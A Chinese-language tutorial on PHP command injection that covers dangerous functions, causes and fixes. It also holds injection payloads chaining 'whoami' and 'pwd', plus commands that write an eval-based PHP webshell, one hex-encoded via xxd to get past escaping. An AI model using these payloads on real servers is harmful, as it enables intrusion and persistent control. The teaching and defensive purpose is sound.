命令執行漏洞
命令執行漏洞
漏洞描述
命令執行漏洞是指伺服器沒有對執行的命令進行過濾,使用者可以隨意執行系統命令,命令執行漏洞屬於高危漏洞之一。
如PHP的命令執行漏洞主要是基於一些函式的引數過濾不足導致,可以執行命令的函式有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等。當攻擊者可以控制這些函式中的引數時,就可以將惡意的系統命令拼接到正常命令中,從而造成命令執行攻擊。PHP執行命令是繼承WebServer使用者的許可權,這個使用者一般都有許可權向Web目錄寫檔案,可見該漏洞的危害性相當大。
漏洞危害
- 繼承Web伺服器程式的許可權,去執行系統命令或讀寫檔案
- 反彈shell
- 控制整個網站,甚至控制整個伺服器
漏洞產生的原因
1.沒有對使用者輸入進行過濾或過濾不嚴
例如,沒有過濾&、&&、|、||等連線符
2.系統漏洞造成的命令執行
bash破殼漏洞(CVE-2014-6271),該漏洞可以構造環境變數的值來執行具有攻擊力的指令碼程式碼,會影響到bash互動的多種應用,如http、ssh和dhcp等。
3.呼叫的第三方元件存在程式碼執行漏洞
例如:
php(system()、shell_exec()、exec()、eval())
JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令執行
常見危險函式
php程式碼相關
- eval()
- assert()
- preg_replace
- call_user_func()
- call_user_func_array()
- create_function
- array_map()
系統命令執行相關
- system()
- passthru()
- exec()
- pcntl_exec()
- shell_exec()
- popen()
- proc_open()
- `(反單引號)
- ob_start()
漏洞利用
漏洞利用_1
點選新增圖片描述(最多60個字)
訪問:http://127.0.0.1/test.php?cmd=127.0.0.1;pwd
也就是執行了“pwd”命令
點選新增圖片描述(最多60個字)
漏洞利用_2
點選新增圖片描述(最多60個字)
訪問:http://127.0.0.1/test.php?fun=system&par=whoami
其實就相當於執行了system(“whoami”)
點選新增圖片描述(最多60個字)
漏洞利用_3
點選新增圖片描述(最多60個字)
訪問:http://127.0.0.1/test.php?code=phpinfo();
點選新增圖片描述(最多60個字)
防範措施
- 在PHP下禁用高危系統函式
找到php.ini,查詢到disable_functions,新增禁用的函式名
-
引數的值儘量使用引號包括,並在拼接前呼叫addslashes進行轉義。
-
不執行外部的應用程式或命令
儘量使用自定義函式或函式庫實現外部應用程式或命令的功能。在執行system、eval等命令執行功能的函式前,要確認引數內容。
- 使用escapeshellarg函式處理相關引數
escapeshellarg函式會將使用者引起引數或命令結束的字元進行轉義,如單引號"’“會被轉義為”\’",雙引號“””會被轉義為""",分號";“會被轉義為”;",這樣escapeshellarg會將引數內容限制在一對單引號或雙引號裡面,轉義引數中包括的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。
- 使用safe_mode_exec_dir指定可執行的檔案路徑
將php.ini檔案中的safe_mode設定為On,然後將允許執行的檔案放入一個目錄,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,在需要執行相應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將失敗。
概念:當應用需要呼叫一些外部程式去處理內容的情況下,就會用到一些執行系統命令的函式。如PHP中的system,exec,shell_exec等,當使用者可以控制命令執行函式中的引數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。
漏洞成因:指令碼語言優點是簡潔,方便,但也伴隨著一些問題,如速度慢,無法解除系統底層,如果我們開發的應用需要一些除去web的特殊功能時,就需要呼叫一些外部程式。
修復防範
-
PHP內建的兩個函式可以有效防止命令執行:
- 1. escapeshellarg() 將給字串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,並且還是確保安全的。對於使用者輸入的部分引數就應該使用這個函式。資料參考:http://cn.php.net/manual/zh/function.escapeshellarg.php
- 2. escapeshellcmd() 對字串中可能會欺騙 shell 命令執行任意命令的字元進行轉義。 此函式保證使用者輸入的資料在傳送到 exec() 或 system() 函式,或者 執行操作符 之前進行轉義。資料參考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
- 3. php中禁止disable_functions(禁用一些危險函式)
- 4. 引數值儘量使用引用號包裹,並在拼接前呼叫addslashes進行轉義
-
黑名單:過濾特殊字元或替換字元
-
白名單:只允許特殊輸入的型別/長度
命令執行利用及繞過姿勢
-
寫入webshell
-
利用命令注入寫一句話php webshell到web目錄涉及到一些特殊字元的轉義,假設需要寫入<?php eval($_POST[kang]); ?>
-
方法如下:
-
WINDOWS:用^轉義<,即執行echo ^<?php eval($_POST[kang]); ?^> > web可寫目錄加檔案完整名字
-
inux下需要用\來轉義<,不過很多php都預設開啟gpc(魔術引號magic_quotes_gpc())。可以先用16進位制轉換一句話再用xxd命令把16進位制還原,命令如下:
-
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可寫目錄加檔案完整名字
-
後面命令注入也有時間盲注和sql注入很像
-
| 命令管道符
-
<>>> 檔案重定向符
-
測試: 0 | dir c:
-
程式碼只過濾了部分特殊字元,可以考慮用其他字元進行測試,這邊列舉一下Window/Linux可利用的特殊字元:
-
windows支援
-
直接執行後面的語句 ping 127.0.0.1|whoami
-
|| 前面出錯執行後面的 ,前面為假 ping 2 || whoami
-
& 前面的語句為假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
-
&&前面的語句為假則直接出錯,後面的也不執行,前面只能為真 ping 127.0.0.1&&whoami
-
-
Linux支援
- ; 前面的執行完執行後面的 ping 127.0.0.1;whoami
- | 管道符,顯示後面的執行結果 ping 127.0.0.1|whoami
- 11 當前面的執行出錯時執行後面的 ping 1||whoami
- & 前面的語句為假則直接執行後面的,前面可真可假 ping 127.0.0.1&whoami
- &&前面的語句為假則直接出錯,後面的也不執行,前面只能為真 ping 127.0.0.1&&whoami
-
-
-
相關文章
- ctf訓練 命令執行漏洞
- Apache SSI 遠端命令執行漏洞Apache
- PHPMailer遠端命令執行漏洞復現PHPAI
- WordPress4.6任意命令執行漏洞
- Firefox 31~34遠端命令執行漏洞的分析Firefox
- IIS 7.5 解析錯誤 命令執行漏洞解決方案
- Apache Log4j2遠端命令執行漏洞Apache
- xxl-job預設accessToken命令執行漏洞復現
- 【安全公告】Spring Core遠端命令執行漏洞預警Spring
- 利用CouchDB未授權訪問漏洞執行任意系統命令
- ThinkPHP 5.x 遠端命令執行漏洞分析與復現PHP
- CVE-2017-8464 遠端命令執行漏洞復現
- CVE-2017-8464遠端命令執行漏洞復現
- 靶機練習---通達OA,遠端命令執行漏洞復現
- Docker執行命令Docker
- Linux Sudo 被爆重要漏洞,允許黑客提權執行root命令Linux黑客
- CERIO-DT系列路由器Save.cgi介面存在命令執行漏洞路由器
- TortoiseSVN 命令 (命令列執行工具)命令列
- Docker命令-docker exec-在執行的容器中執行命令Docker
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- Java執行cmd命令Java
- 遠端執行命令
- 命令列執行Nunit命令列
- .net執行cmd命令
- 滲透測試對網站漏洞修復執行命令重點檢查網站
- Oracle WebLogic 曝 0day 漏洞,攻擊者可遠端執行命令OracleWeb
- DHCP命令執行CVE-2018-1111漏洞復現
- Weblogic修復"Java反序列化"過程遠端命令執行漏洞WebJava
- 如何執行maven和執行maven的命令。Maven
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- Django任意程式碼執行漏洞分析Django
- CNVD-2018-01084 漏洞復現報告(service.cgi 遠端命令執行漏洞)
- PKAV 發現 Struts2 最新遠端命令執行漏洞(S2-037)
- pgAdmin未授權命令執行漏洞(CVE-2022-4223)
- 【機器學習】使用Octave執行命令機器學習
- 監控 redis 執行命令Redis